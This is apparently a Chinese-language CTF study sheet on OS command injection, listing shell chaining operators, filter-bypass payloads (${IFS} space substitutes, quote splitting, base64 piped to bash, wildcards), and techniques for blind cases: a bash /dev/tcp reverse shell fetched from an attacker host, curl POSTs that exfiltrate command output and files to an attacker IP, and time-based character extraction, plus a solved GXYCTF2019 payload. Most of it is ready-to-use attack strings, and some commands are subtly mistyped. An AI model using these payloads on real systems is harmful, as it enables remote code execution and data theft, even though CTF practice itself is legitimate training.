一、Bash与CMD常用命令
1. linux常用读取命令
tac flag
nl flag
more flag
head flag
less flag
tail flag
od flag
pr flag
其他命令:
ls
列出当前目录
ls /etc
列出etc下的目录
rm a.txt
删除a.txt
mv a b
将a 文件重命名为b
cp a a2
复制a 到a2
命令连接符:
无论A执行成功与否,都会执行B:
A;B
AB同时执行:
A&B
A执行成功后,才能执行B:
A&&B
A执行的结果,作为B命令的参数,AB均会执行:
A |B
A执行失败后,执行B
A||B
举例:
$username = &ls
system('mkdir'.$username);
这里&要经过url编码,进行绕过。
2.遇到带过滤的输入
(1)过滤空格
用%09、%0a、${IFS}、$IFS $9
绕过。
(2)过滤关键字cat、flag
- 用读取文件绕过
- 在过滤的字符加单引号、双引号、反斜杠(
cat''t cat'' ''t ca\t
) $(printf "\x6c \x73") ==ls
- base64绕过:
echo Y2F0IGluZGV4LnBocA == | Base64-d | bash:
- 通配符
cat fl?g cat f*
- 拼接:
a=c;b=at;$a$b
3.遇到无回显的输入
(1)可以访问互联网,反弹shell:
- 在攻击机存储shell文件:
bash -i>& /dev/tcp/ip/port 0>&1
- 靶机执行
cur http:/攻击机IP/shell文件 | bash
- 攻击机监听1337端口
nc -lvvp 1337
(2)可以访问互联网,靶机外带:
cur http:/攻击机IP/-X POST-d "a=`ls`"
如果过滤反引号,用$()
代替。
(3)可以访问互联网,写入靶机临时目录,然后传回攻击机:
ls -l > /tmp/result
cur http:/攻击机IP/-X POST-F "file = @/tmp/result"
(4)不出网,靶机web目录可以写文件:
http://靶机IP/cmd.php?cmd=ls -l >1.txt
(5)不出网,靶机web目录不能写:
if[`whoami |cut -c 1` = "r"];then sleep 2;fi
/* 延时,说明第一位是r*/
if[`whoami |cut -c 2` = "o"];then sleep 2;fi
/* 延时,说明第二位是o*/
4.实战
[GXYCTF2019]Ping Ping Ping
view-source:http://IP/?ip=1;cat$IFS$9`ls`
这道题没有过滤$IFS$9
,反引号能过将ls
执行的返回结果,完整显示出来,结合前面的cat,
拿下flag.